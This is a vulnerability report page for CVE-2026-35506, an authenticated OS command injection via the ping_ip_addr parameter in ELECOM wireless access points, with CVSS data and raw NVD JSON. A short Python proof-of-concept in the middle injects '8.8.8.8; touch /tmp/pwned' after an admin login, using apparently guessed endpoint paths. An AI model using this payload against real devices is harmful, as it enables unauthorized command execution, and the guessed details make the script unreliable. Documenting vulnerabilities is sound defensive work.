Security Vulnerability Report
中文
CVE-2026-35506 CVSS 7.2 HIGH

CVE-2026-35506

Published: 2026-05-13 13:16:41
Last Modified: 2026-05-13 15:47:10

Description

ELECOM wireless LAN access point devices contain an OS command injection vulnerability in processing of ping_ip_addr parameter. If processing a crafted request sent by a logged-in user, an arbitrary OS command may be executed.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

ELECOM wireless LAN access point devices (具体受影响型号请参考厂商安全公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target_url = "http://<target-ip>/admin/ping_test" login_url = "http://<target-ip>/admin/login" # Credentials (High privilege required) credentials = { "username": "admin", "password": "admin_password" } # Malicious payload injecting a command # Example: creating a file or reverse shell # Payload: 8.8.8.8; touch /tmp/pwned malicious_data = { "ping_ip_addr": "8.8.8.8; touch /tmp/pwned" } # Attack chain execution session = requests.Session() # Step 1: Login login_response = session.post(login_url, data=credentials) if login_response.status_code == 200 and "success" in login_response.text: print("[+] Login successful") # Step 2: Send Exploit exploit_response = session.post(target_url, data=malicious_data) if exploit_response.status_code == 200: print("[+] Payload sent successfully") print(f"[+] Response: {exploit_response.text}") else: print("[-] Login failed")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-35506", "sourceIdentifier": "[email protected]", "published": "2026-05-13T13:16:40.880", "lastModified": "2026-05-13T15:47:10.327", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "ELECOM wireless LAN access point devices contain an OS command injection vulnerability in processing of ping_ip_addr parameter. If processing a crafted request sent by a logged-in user, an arbitrary OS command may be executed."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://jvn.jp/en/jp/JVN03037325/", "source": "[email protected]"}, {"url": "https://www.elecom.co.jp/news/security/20260512-01/", "source": "[email protected]"}]}}